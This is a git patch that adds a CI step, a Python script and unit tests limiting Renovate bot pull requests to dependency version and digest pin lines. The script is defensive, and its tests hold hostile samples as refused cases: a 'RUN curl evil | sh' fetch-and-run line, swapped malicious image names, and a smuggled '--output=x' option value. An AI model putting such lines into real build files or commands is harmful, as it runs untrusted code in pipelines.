From f2e1139562e2ace8cca1dfe80428d665b7db4b85 Mon Sep 17 00:00:00 2001 From: Defame1297 Date: Sun, 25 Oct 2026 21:08:21 +0000 Subject: [PATCH] ci(lint): limit renovate pull requests to pin and version lines scripts/check_bot_pr_diff.py fails a pull request from a renovate/ branch that touches anything but version, tag, digest and image pin lines, so the automerge of bot pull requests cannot alter workflow logic or reach the org secrets. Wired as a pull-request-only step of the lint workflow. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm --- .gitea/workflows/lint.yml | 13 ++ scripts/check_bot_pr_diff.py | 195 ++++++++++++++++++++++++ tests/scripts/test_check_bot_pr_diff.py | 163 ++++++++++++++++++++ 3 files changed, 371 insertions(+) create mode 100644 scripts/check_bot_pr_diff.py create mode 100644 tests/scripts/test_check_bot_pr_diff.py diff --git a/.gitea/workflows/lint.yml b/.gitea/workflows/lint.yml index 9ec119f..d6b9411 100644 --- a/.gitea/workflows/lint.yml +++ b/.gitea/workflows/lint.yml @@ -84,6 +84,19 @@ jobs: export PATH="/opt/venv/bin:$PATH" python3 scripts/check_image_versions.py bump origin/main + # A pull request from a renovate/ branch may only move version, tag, digest and pin + # lines (scripts/check_bot_pr_diff.py), so the bot's automerge cannot change workflow + # logic or reach the org secrets. The branch name is attacker-controlled: this only + # constrains the bot's own pull requests. The refs go through env:, never into run:. + - name: Check a bot pull request only moves pins + if: github.event_name == 'pull_request' + env: + HEAD_REF: ${{ github.head_ref }} + BASE_REF: origin/main + run: | + export PATH="/opt/venv/bin:$PATH" + python3 scripts/check_bot_pr_diff.py "$HEAD_REF" "$BASE_REF" + - name: Test the repository scripts run: | export PATH="/opt/venv/bin:$PATH" diff --git a/scripts/check_bot_pr_diff.py b/scripts/check_bot_pr_diff.py new file mode 100644 index 0000000..2d139ea --- /dev/null +++ b/scripts/check_bot_pr_diff.py @@ -0,0 +1,195 @@ +# SPDX-FileCopyrightText: Defame1297 and contributors +# SPDX-License-Identifier: GPL-3.0-or-later +"""Limit what a Renovate pull request may change, so its automerge is safe. + + python3 scripts/check_bot_pr_diff.py + +When starts with `renovate/`, the diff of ...HEAD may only touch: + + * requirements-dev.txt: pinned `name==version` lines, the same packages before and after; + * .pre-commit-config.yaml: `rev:` lines; + * images//Dockerfile: the tag and digest of FROM lines (the image name stays), and + the `uv==` token of a line that holds one; + * .gitea/workflows/image.yml: the matrix `version:` lines, and the tag and digest of the + job container's `image: ubuntu:...@sha256:...` line (the name stays); + * .gitea/workflows/{lint,build,molecule}.yml: the version and digest of a + `git.rkdr.net/mortis/:@sha256:` pin (the name stays), including + the MOLECULE_IMAGE value. + +Every other file, every other line, an added, deleted or mode-changed file fails, with one +`::error::` line per offending file. renovate.json itself is not allowed: the bot does not +edit its own configuration. Any other head ref is skipped (exit 0). + +Scope: the branch name is attacker-controlled. Anyone who can push a branch can call it +`renovate/x` and merely get this narrow check, which is no weaker than the ordinary review +of their pull request; and a branch that does not start with `renovate/` is not constrained +here at all. The check therefore only constrains the bot's own pull requests. Its purpose is +to make the automerge of those safe: a bot pull request cannot alter workflow logic or reach +the organisation secrets (only image.yml references them), whatever a compromised or +confused dependency update proposes. + +Exit codes: 0 ok or skipped, 1 a violation or a failure to run, 2 bad usage. +""" +import re +import sys + +import check_image_versions as civ + +PREFIX = "renovate/" +PIN = re.compile(r"(git\.rkdr\.net/mortis/[a-z0-9._-]+):[^@\s]+@sha256:[0-9a-f]{64}") +REQ_LINE = re.compile(r"^([A-Za-z0-9][A-Za-z0-9._-]*)==[0-9][0-9A-Za-z.+!_-]*$") +REV_LINE = re.compile(r"^\s*rev:\s*\S+\s*$") +VERSION_LINE = re.compile(r"""^\s*(?:-\s*)?version:\s*["']?[0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z.-]+)?["']?\s*(?:#.*)?$""") +FROM_LINE = re.compile(r"^(FROM\s+(?:--\S+\s+)*)([^\s:@]+)(?::[^@\s]+)?(?:@sha256:[0-9a-f]{64})?(\s+AS\s+\S+)?\s*$") +UV_TOKEN = re.compile(r"\buv==[0-9][0-9A-Za-z.+!_-]*") +UBUNTU_LINE = re.compile(r"^(\s*image:\s*ubuntu)(?::[^@\s]+)?(?:@sha256:[0-9a-f]{64})?\s*$") +DOCKERFILE = re.compile(r"images/[^/]+/Dockerfile") +CONSUMERS = {".gitea/workflows/lint.yml", ".gitea/workflows/build.yml", ".gitea/workflows/molecule.yml"} + + +def normalized(lines, pattern_sub): + """Each line reduced by pattern_sub (a function returning the reduced form, or None when + the line is not of the allowed kind).""" + out = [] + for line in lines: + reduced = pattern_sub(line) + if reduced is None: + return None + out.append(reduced) + return out + + +def same_shape(removed, added, reduce_line, what): + """None when both sides hold only lines of the allowed kind and reduce to the same list.""" + old, new = normalized(removed, reduce_line), normalized(added, reduce_line) + if old is None or new is None: + return f"changes a line that is not {what}" + if old != new: + return f"changes more than {what}" + return None + + +def reduce_requirement(line): + m = REQ_LINE.match(line) + return m[1].lower() if m else None + + +def reduce_rev(line): + return "rev" if REV_LINE.match(line) else None + + +def reduce_dockerfile(line): + m = FROM_LINE.match(line) + if m: + return m[1] + m[2] + (m[3] or "") + if UV_TOKEN.search(line): + return UV_TOKEN.sub("uv==X", line) + return None + + +def reduce_image_yml(line): + if VERSION_LINE.match(line): + return "version" + m = UBUNTU_LINE.match(line) + return m[1] if m else None + + +def reduce_pin(line): + reduced = PIN.sub(lambda m: m[1] + ":PIN", line) + return reduced if PIN.search(line) else None + + +def file_problem(path, removed, added): + """One-line reason why the change to `path` is not allowed for a bot, or None.""" + if path == "requirements-dev.txt": + return same_shape(removed, added, reduce_requirement, "a pinned `name==version` line of the same package") + if path == ".pre-commit-config.yaml": + return same_shape(removed, added, reduce_rev, "a `rev:` line") + if DOCKERFILE.fullmatch(path): + return same_shape(removed, added, reduce_dockerfile, "the tag or digest of a FROM line or a `uv==` pin") + if path == civ.MATRIX_FILE: + return same_shape(removed, added, reduce_image_yml, "a matrix `version:` or the ubuntu job container pin") + if path in CONSUMERS: + return same_shape(removed, added, reduce_pin, "an image pin of the mortis registry") + return "is not a file a bot pull request may change" + + +def parse_raw(blob): + """[(oldmode, newmode, status, path)] from `git diff --raw -z --no-renames` output.""" + parts = blob.split(b"\0") + entries = [] + n = 0 + while n + 1 < len(parts) and parts[n]: + meta = parts[n].decode("utf-8", errors="replace").split() + path = parts[n + 1].decode("utf-8", errors="backslashreplace") + entries.append((meta[0].lstrip(":"), meta[1], meta[4][:1], path)) + n += 2 + return entries + + +def parse_patch(text): + """(removed lines, added lines) of a -U0 patch, without the +/- marker.""" + removed, added, in_hunk = [], [], False + for line in text.split("\n"): + if line.startswith("@@"): + in_hunk = True + elif not in_hunk or line.startswith("\\"): + continue + elif line.startswith("-"): + removed.append(line[1:]) + elif line.startswith("+"): + added.append(line[1:]) + return removed, added + + +def check(entries, patch_of): + """One message per offending file; patch_of(path) returns that file's -U0 patch text.""" + problems = [] + for old_mode, new_mode, status, path in entries: + if status != "M" or old_mode != new_mode or new_mode != "100644": + problems.append(f"{path}: a bot pull request may not add, delete, rename or change the mode of a file") + continue + reason = file_problem(path, *parse_patch(patch_of(path))) + if reason: + problems.append(f"{path}: {reason}") + return problems + + +def run(argv): + if len(argv) != 3: + sys.stderr.write(__doc__) + return None + head_ref, base_ref = argv[1], argv[2] + if not head_ref.startswith(PREFIX): + return [], "not a renovate/ branch, skipped" + if not civ.REF_RE.fullmatch(base_ref): + raise civ.CheckError(f"{base_ref!r} is not a plain ref name (letters, digits, . _ / -, no leading '-')") + base = civ.git("merge-base", "--end-of-options", base_ref, "HEAD").strip() + raw = civ.git("-c", "core.quotePath=false", "diff", "--raw", "-z", "--no-renames", "--abbrev=40", + "--end-of-options", base, "HEAD", raw=True) + + def patch_of(path): + return civ.git("-c", "core.quotePath=false", "diff", "-U0", "--no-renames", "--no-color", + "--end-of-options", base, "HEAD", "--", path) + + entries = parse_raw(raw) + return check(entries, patch_of), f"{len(entries)} file(s) within the bot allowance" + + +def main(argv): + try: + result = run(argv) + except civ.CheckError as exc: + result = ([str(exc)], "") + if result is None: + return 2 + errors, note = result + for e in errors: + sys.stderr.write(f"::error::{e}\n") + if not errors: + print(f"bot pull request diff: ok ({note})") + return 1 if errors else 0 + + +if __name__ == "__main__": + sys.exit(main(sys.argv)) diff --git a/tests/scripts/test_check_bot_pr_diff.py b/tests/scripts/test_check_bot_pr_diff.py new file mode 100644 index 0000000..0647776 --- /dev/null +++ b/tests/scripts/test_check_bot_pr_diff.py @@ -0,0 +1,163 @@ +# SPDX-FileCopyrightText: Defame1297 and contributors +# SPDX-License-Identifier: GPL-3.0-or-later +"""Run with: python3 -m unittest discover -s tests/scripts""" +import os +import pathlib +import subprocess +import sys +import tempfile +import unittest + +SCRIPTS = pathlib.Path(__file__).resolve().parents[2] / "scripts" +sys.path.insert(0, str(SCRIPTS)) +import check_bot_pr_diff as cbd # noqa: E402 + +D1, D2 = "sha256:" + "a" * 64, "sha256:" + "b" * 64 +FILES = { + "requirements-dev.txt": "# pins\nansible-core==2.19.14\nreuse==6.2.0\n", + ".pre-commit-config.yaml": "repos:\n - repo: https://github.com/x/y\n rev: v1.0.0\n hooks:\n - id: y\n", + "images/ci/Dockerfile": f"FROM ubuntu:24.04@{D1} AS os\nRUN pip install uv==0.13.5 \\\n && echo hi\nRUN echo x\n", + "images/molecule-ubuntu2404/Dockerfile": f"FROM ubuntu:24.04@{D1}\n", + ".gitea/workflows/image.yml": (f"jobs:\n image:\n matrix:\n include:\n - name: ci\n" + f" version: 0.2.0\n container:\n image: ubuntu:24.04@{D1}\n" + " steps:\n - run: echo ok\n"), + ".gitea/workflows/lint.yml": f"container:\n image: git.rkdr.net/mortis/ci:0.2.0@{D1}\nrun: echo a\n", + ".gitea/workflows/molecule.yml": f"env:\n MOLECULE_IMAGE: >-\n git.rkdr.net/mortis/mol:0.1.0@{D1}\n", + "renovate.json": "{}\n", +} + + +def run(cwd, *cmd): + return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True, + env={**os.environ, "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"}) + + +class RuleTest(unittest.TestCase): + def problem(self, path, old, new): + return cbd.file_problem(path, [old], [new]) + + def test_allowed_edits(self): + cases = [ + ("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0"), + (".pre-commit-config.yaml", " rev: v1.0.0", " rev: v1.1.0"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:24.10@{D2} AS os"), + ("images/ci/Dockerfile", "RUN pip install uv==0.13.5 \\", "RUN pip install uv==0.14.0 \\"), + (".gitea/workflows/image.yml", " version: 0.2.0", " version: 0.2.1"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:24.04@{D2}"), + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}"), + (".gitea/workflows/molecule.yml", f" git.rkdr.net/mortis/mol:0.1.0@{D1}", + f" git.rkdr.net/mortis/mol:0.1.1@{D2}"), + ] + for path, old, new in cases: + self.assertIsNone(self.problem(path, old, new), (path, old, new)) + + def test_refused_edits(self): + cases = [ + ("requirements-dev.txt", "reuse==6.2.0", "evil==1.0"), + ("requirements-dev.txt", "reuse==6.2.0", "reuse @ https://x/y.tgz"), + (".pre-commit-config.yaml", " rev: v1.0.0", " repo: https://evil/x"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM evil:1@{D2} AS os"), + ("images/ci/Dockerfile", "RUN echo x", "RUN curl evil | sh"), + ("images/ci/Dockerfile", "RUN pip install uv==0.13.5", "RUN pip install uv==0.14.0 evil"), + (".gitea/workflows/image.yml", " - run: echo ok", " - run: echo evil"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: evil:1@{D1}"), + (".gitea/workflows/lint.yml", "run: echo a", "run: echo b"), + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/mortis/other:0.2.0@{D1}"), + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/defame1297/ci:0.2.0@{D1}"), + ("renovate.json", "{}", '{"a": 1}'), + ("roles/x/tasks/main.yml", "a", "b"), + ] + for path, old, new in cases: + self.assertIsNotNone(self.problem(path, old, new), (path, old, new)) + + def test_unequal_line_counts_are_refused(self): + self.assertIsNotNone(cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"])) + self.assertIsNotNone(cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], [])) + + def test_patch_parser_keeps_dashed_content(self): + patch = "diff --git a/f b/f\n--- a/f\n+++ b/f\n@@ -1 +1 @@\n--- x\n+++ y\n\\ No newline at end of file\n" + self.assertEqual(cbd.parse_patch(patch), (["-- x"], ["++ y"])) + + +class RepoTest(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.TemporaryDirectory() + self.repo = pathlib.Path(self.tmp.name) + self.addCleanup(self.tmp.cleanup) + run(self.repo, "git", "init", "-q", "-b", "main") + run(self.repo, "git", "config", "user.email", "t@example.org") + run(self.repo, "git", "config", "user.name", "t") + for rel, text in FILES.items(): + self.write(rel, text) + self.commit("base") + run(self.repo, "git", "checkout", "-q", "-b", "renovate/x") + + def write(self, rel, text): + p = self.repo / rel + p.parent.mkdir(parents=True, exist_ok=True) + p.write_text(text) + + def edit(self, rel, old, new): + self.write(rel, (self.repo / rel).read_text().replace(old, new)) + + def commit(self, msg): + run(self.repo, "git", "add", "-A") + run(self.repo, "git", "commit", "-q", "-m", msg) + + def gate(self, head="renovate/x", base="main"): + proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), head, base], cwd=self.repo, + capture_output=True, text=True, check=False) + return proc.returncode, proc.stdout, proc.stderr + + def test_a_realistic_bot_pr_passes(self): + self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0") + self.edit(".pre-commit-config.yaml", "v1.0.0", "v1.1.0") + self.edit("images/ci/Dockerfile", "uv==0.13.5", "uv==0.14.0") + self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.2.1") + self.edit(".gitea/workflows/molecule.yml", D1, D2) + self.commit("bot") + code, out, err = self.gate() + self.assertEqual(code, 0, err) + self.assertIn("5 file(s)", out) + + def test_each_violation_gets_one_line(self): + self.edit(".gitea/workflows/lint.yml", "echo a", "echo b") + self.write("roles/x/main.yml", "a\n") + self.edit("renovate.json", "{}", '{"a":1}') + self.commit("bot") + code, _, err = self.gate() + self.assertEqual(code, 1) + lines = err.strip().splitlines() + self.assertEqual(len(lines), 3, err) + self.assertTrue(all(line.startswith("::error::") for line in lines)) + + def test_deleted_and_mode_changed_files_fail(self): + run(self.repo, "git", "rm", "-q", "requirements-dev.txt") + self.commit("bot") + self.assertEqual(self.gate()[0], 1) + run(self.repo, "git", "checkout", "-q", "main", "--", "requirements-dev.txt") + os.chmod(self.repo / "requirements-dev.txt", 0o755) + run(self.repo, "git", "add", "-A") + run(self.repo, "git", "commit", "-q", "-m", "mode") + self.assertEqual(self.gate()[0], 1) + + def test_other_branches_are_skipped(self): + self.write("roles/x/main.yml", "a\n") + self.commit("human") + code, out, _ = self.gate(head="feat/x") + self.assertEqual(code, 0) + self.assertIn("skipped", out) + + def test_bad_input(self): + code, _, err = self.gate(base="--output=x") + self.assertEqual(code, 1) + self.assertNotIn("Traceback", err) + self.assertEqual(subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py")], cwd=self.repo, + capture_output=True, text=True, check=False).returncode, 2) + + +if __name__ == "__main__": + unittest.main()